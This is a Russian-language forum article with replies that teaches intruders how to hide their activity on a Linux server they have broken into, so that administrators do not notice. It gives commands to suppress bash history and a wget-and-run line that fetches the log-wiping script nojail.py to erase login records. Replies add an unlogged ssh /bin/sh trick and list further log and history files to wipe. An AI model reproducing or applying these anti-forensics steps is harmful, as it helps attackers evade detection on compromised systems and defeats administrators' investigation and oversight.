Статья Заметаем следы на ОС семейства Linux

Добрый день уважаемые читатели замечательного форума codeby.net

В статье речь пойдет о сокрытии своего присутствия на чужих серверах ОС семейства Linux. Если вам удалось каким либо образом получить доступ к чужому серверу, вам бы наверное хотелось продлить немного свою жизнь и присутствие на нем. В этой статье не пойдет речь о способах закрепления в системе, здесь я всего лишь постараюсь осветить элементарные меры предосторожности при работе с сервером, чтобы зашедший на хост после вас администратор не заметил что то неладное или какие то подозрительные следы и активность.

Первым делом хотелось бы обсудить консольные команды, с помощью которых можно узнать об удаленных сеансах и подключениях к серверу.

"w" - unix-утилита, показывающая информацию о работающих в данный момент на машине пользователях и о их процессах. Для каждого пользователя выводятся следующие записи: регистрационное имя, название терминала, удалённая машина, время регистрации в системе, время простоя, JCPU, PCPU и командную строку его текущего процесса.

1549633254276.png


Видим, что пользователь root на данный момент подключен к нашему хосту и ему доступен bash терминал.
Если утилита “w” показывает текущих пользователей в системе, а мы хотим узнать список всех когда-либо подключившихся пользователей, то на этот случай существует утилита "last".

"last" - unix-утилита, отображающая список последних терминальных сессий с выборкой по пользователю или терминалу. Все события при этом упорядочены по времени.

1549633280101.png


Существуют утилиты "who" и "lastlog", они похожи с некоторыми ограничениями на представленные, поэтому их рассмотрение мы оставим.

Также не стоит забывать немало важный факт, что удаленные администраторы, при последующих своих подключениях к серверам могут обратить свое внимание на приветствие утилиты ssh и поле “Last login:”, в котором отображается время и IP адрес последнего внешнего подключения к серверу и если они будут отличаться от привычных администратору, то вам не избежать проверки или отката используемой вами системы.

1549633313469.png


Все события по удаленным подключениям находятся в системных логах и чистить их вручную довольно не удобно. Поэтому ниже мы рассмотрим инструмент, позволяющий это делать с помощью скриптов.

Мы рассмотрели события, связанные с удаленным подключением, но что касается выполнения команд и как не оставлять их факта выполнения в системном логе? Любой администратор подключившись к системе и выполнив команду "history" может увидеть, что с его сервера происходят какие то аномальные действия, например запуск утилит для сканирования внешних узлов сети Интернет. Это вызовет у него массу негодования и он немедленно начнет расследование и первым делом сменит свой пароль к хосту или установит соединение с сервером только через SSH Key.

Опытные пользователи, возможно, знают, что история запущенных команд сохраняется в файле ~/.bash_history. Перечислим некоторые способы, чтобы избежать их логирования:

Первый способ - просто набирайте перед каждой командой пробел.
Код:
[space][command]
– тогда команда не попадет ~/.bash_history

Второй – после подключения к серверу и до ввода своих команд, наберите:
Код:
export HISTFILE=/dev/null

Третий – если вы забыли выполнить второй пункт, то выполните:
Код:
unset HISTFILE
unset SAVEHIST

Тогда все команды введенные в рамках вашей сессии не попадут в ~/.bash_history

И наконец, как я и обещал, представляю вашему вниманию скрипт, который выполнит за вас всю грязную работу и сотрет все ваши следы с системы. Для того чтобы им воспользоваться достаточно выполнить следующее:

Код:
wget https://raw.githubusercontent.com/JusticeRage/freedomfighting/master/nojail.py
python nojail.py --user [пользователь от которого вы подключались] --ip [с которого вы подкючались] --hostname [имя хоста с которым вы работали]
и запустить с нужными параметрами, описание которых вы найдете в Readme

1549633330678.png


После чего наша активность удалилась из всех файлов логов

1549633341078.png


Всем спасибо за внимание! Будьте осторожны и не забывайте предохраняться)).
 
А как обратно вернуть ?
export HISTFILE=/dev/null
Если вы подключились удаленно по SSH, то достаточно покинуть эту сессию и зайти заново. Если на своем физическом компе, то можно перезагрузить хост.
 
  • Нравится
Реакции: OBLIVIONNN
После того как написал статью, вспонил еще один способо как не оставлять своих следов на удаленном сервере. В мире Linux есть большое количество терминалов, одним из таких есть старый добрый /bin/sh. Отсюда следует понимать, что по умолчанию ваши соединения поднимают по дефолту сессию в /bin/bash терминале. Но мы можем исправить это и указать явно ssh какой терминал использовтаь.
Код:
ssh root@10.5.193.129 /bin/sh
Таким образом наши события нигде не отобразятся:

1549661600923.png

Минусом такого подлючения является то, что /bin/sh является урезанным терминалом и в нем не доступны многие консольные команды Linux.
 
Если писать статью так писать до конца:

Ни слова не сказано про то где linux в принципе хранит логи, что в них конкретно пишется и т.д. В паре слов можно и даже нужно упомянуть что есть такие чудные файлы: utmp, wtmp, btmp и что особо важно - messages и secure. (и что именно их чистит софт ссылка на который приведена);
Ни слова не сказано про то какие следы остаются от использования web-шелов (что является наиболее частым методом попадания на север).
Что помимо bash_history есть еще куча файлов которые могут свидетельствовать о взломе: .mysql_history, .viminfo и др.

И да, пробел перед командой - не всегда гарантия того что в .bash_history ничего не попадет. Зависит от конкретной версии linux и что стоит в качестве оболочки.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!